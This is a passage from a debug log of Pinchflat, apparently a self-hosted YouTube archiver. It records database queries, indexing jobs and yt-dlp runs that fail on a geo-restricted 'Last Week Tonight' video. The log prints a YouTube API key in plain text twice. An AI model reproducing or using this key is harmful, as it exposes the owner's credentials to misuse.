of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 17:47:48.576 [debug] QUERY OK source="settings" db=0.1ms idle=1305.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:48.577 [debug] QUERY OK source="settings" db=0.0ms idle=1304.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:48.577 [debug] Running yt-dlp command for action: get_media_attributes 17:47:48.578 [debug] QUERY OK source="settings" db=0.1ms idle=1305.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:48.578 [debug] QUERY OK source="settings" db=0.0ms idle=1305.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:48.578 [debug] QUERY OK source="settings" db=0.0ms idle=427.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:48.578 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LmmeWg_DHdc --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/c1/a3/c1a32d29afabe4b8f4dbe8b03e3123e4b69576be8815944ecdb389a68c00467d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:47:49.157 [info] {"args":{"id":40},"id":3800265,"meta":{},"system_time":1770767269157649179,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:49.158 [debug] QUERY OK source="sources" db=0.1ms idle=579.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [40] 17:47:49.158 [debug] QUERY OK source="settings" db=0.1ms idle=579.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:49.158 [debug] QUERY OK source="media_profiles" db=0.1ms idle=579.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:47:49.158 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:49.158 [debug] Fetching recent media IDs from YouTube API for playlist: UU7V6hW6xqPAiUfataAZZtWA 17:47:49.158 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:49.158 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:47:49.269 [debug] QUERY OK source="media_items" db=0.6ms idle=110.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [40, "g5M9AL95htk", "_d7EmSiMgtQ", "GzGa73A7Ffk", "FLgPJa-pxeI", "BboXiXnvYX4", "jOY6nOpOruM", "nY5Wo5RJeqk", "4-QP9Zs4U_8", "w772tzPzZ9c", "UKe5sYfn5EY", "gvQT7ECCuDU", "7QoryyHW2VY", "OqA1yhu41so", "8Kz9f-UzpX0", "qgdHLj6Xtdo", "BPGbGYYO2eY", "Gik8xyVow0A", "bDum6c8SoRw", "g63zi5h7sSM", "exUUeZSHrMY", "SDVMlDYUgsA", "H5V319xB7WE", "jf2otd0yO5I", "YF9xXeebrCI", "wqTIn6iGJd8", "y3v0uFqgtJM", "iGRSfesAJ4k", "XNeGT_51LKM", "gBy0C2F-q0w", "Olu7GlTkKJU", "1zENw7nCecE", "AnJU-TxeJe0", "JP6u3p6AOIg", "zbhPsblrMT0", "oY3y4IJ3l_w", "3qFWzdhUjSk", "gjiAsn_EV8g", "4pE6u3dWu-0", "0SEzwZ6pGRQ", "4MCrCkm5g9Y", "mQvJiP4Zd1E", "tBG3sf4QnSc", "uZQkRXk2t6o", "uGoQkin-sb8", "wthVwIc9u8s", "QfF3T3TyUnc", "b5TtJHJD0o4", "BueJnc9uOYo", "7Kt4RnUSNvY", ...] 17:47:49.271 [debug] QUERY OK source="media_items" db=1.9ms idle=111.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [40] 17:47:49.272 [debug] QUERY OK source="tasks" db=0.1ms idle=113.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800303, 40, ~U[2026-02-10 23:47:49Z], ~U[2026-02-10 23:47:49Z]] 17:47:49.272 [info] {"args":{"id":40},"id":3800265,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":114997,"event":"job:stop","queue_time":539274,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:50.012 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LmmeWg_DHdc --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/c1/a3/c1a32d29afabe4b8f4dbe8b03e3123e4b69576be8815944ecdb389a68c00467d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] LmmeWg_DHdc: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 17:47:50.012 [error] Error creating media item 'LmmeWg_DHdc' from URL: {:error, "ERROR: [youtube] LmmeWg_DHdc: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 17:47:50.012 [debug] QUERY OK source="settings" db=0.1ms idle=740.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:50.012 [debug] QUERY OK source="settings" db=0.0ms idle=740.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:50.013 [debug] Running yt-dlp command for action: get_media_attributes 17:47:50.033 [debug] QUERY OK source="settings" db=0.1ms idle=760.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:50.033 [debug] QUERY OK source="settings" db=0.0ms idle=760.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:50.033 [debug] QUERY OK source="settings" db=0.0ms idle=754.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:50.033 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=0qmNAOCgbgY --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/a0/a7/a0a79b9621546d005ae8a7216e556bf64aabac9751544bf18c404e1e0fb397d6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:47:50.158 [info] {"args":{"id":2},"id":3800266,"meta":{},"system_time":1770767270158724928,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:50.159 [debug] QUERY OK source="sources" db=0.1ms idle=125.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:47:50.159 [debug] QUERY OK source="settings" db=0.1ms idle=125.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:50.159 [debug] QUERY OK source="media_profiles" db=0.1ms idle=125.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:47:50.159 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:50.159 [debug] Fetching recent media IDs from YouTube API for playlist: UUdBK94H6oZT2Q7l0-b0xmMg 17:47:50.159 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:50.159 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:47:50.257 [debug] QUERY OK source="media_items" db=0.5ms idle=98.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "6ZgZNKd6L4w", "k99eZELFMnQ", "SoyXQcmSSDA", "hQDwpXfJXYI", "LRkDQZo_Anw", "sqng2mGejKw", "k9UsDilfbYM", "_cY1rFrNQpE", "7kqvE63fnE4", "jBYgqIPeZ4M", "oIs2ZCcj2Vg", "ck7r7wo829A", "Rv3LJQLMh3U", "LbVz5hXSIKg", "RB7CfRSFjCw", "B9DnrUB4CJM", "ghawYhsGdug", "uQkIZvbbQDA", "4GtFKbysSDY", "Bu671EegYWY", "UYErV4JoFyM", "y_d40V40clo", "7SRjYEHzbX8", "ij2ASG-LSt8", "RGLVdoaD-T0", "bvkgOoZKcwM", "j_2jvyqta0s", "4c63FU_d8T8", "RK2SnHjxGVs", "rA9aiYZOExg", "W8C4Ei0Ykvg", "rvP7or3PPNM", "ZFn-Q-PZtZU", "fwpnuNrSDaI", "ksLlg8f997w", "0RssLJL30h0", "dlW6a17NRew", "dd1TeK-YFuk", "9jBseM65hbs", "QQ49D1E24NM", "1GXzDm8PYp8", "B3P2jc8GX_Y", "ane7B2Q8jbs", "zjmbsU9GD6w", "7Y0UEQ_Jj_c", "clSil9gwZmM", "VKMzpJj8iFo", "j8-OvS8FY0k", "hOIjQTFD_Ss", ...] 17:47:50.260 [debug] QUERY OK source="media_items" db=2.0ms idle=99.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 17:47:50.261 [debug] QUERY OK source="tasks" db=0.1ms idle=101.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800304, 2, ~U[2026-02-10 23:47:50Z], ~U[2026-02-10 23:47:50Z]] 17:47:50.261 [info] {"args":{"id":2},"id":3800266,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":102490,"event":"job:stop","queue_time":486809,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:51.365 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=0qmNAOCgbgY --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/a0/a7/a0a79b9621546d005ae8a7216e556bf64aabac9751544bf18c404e1e0fb397d6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 0qmNAOCgbgY: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, 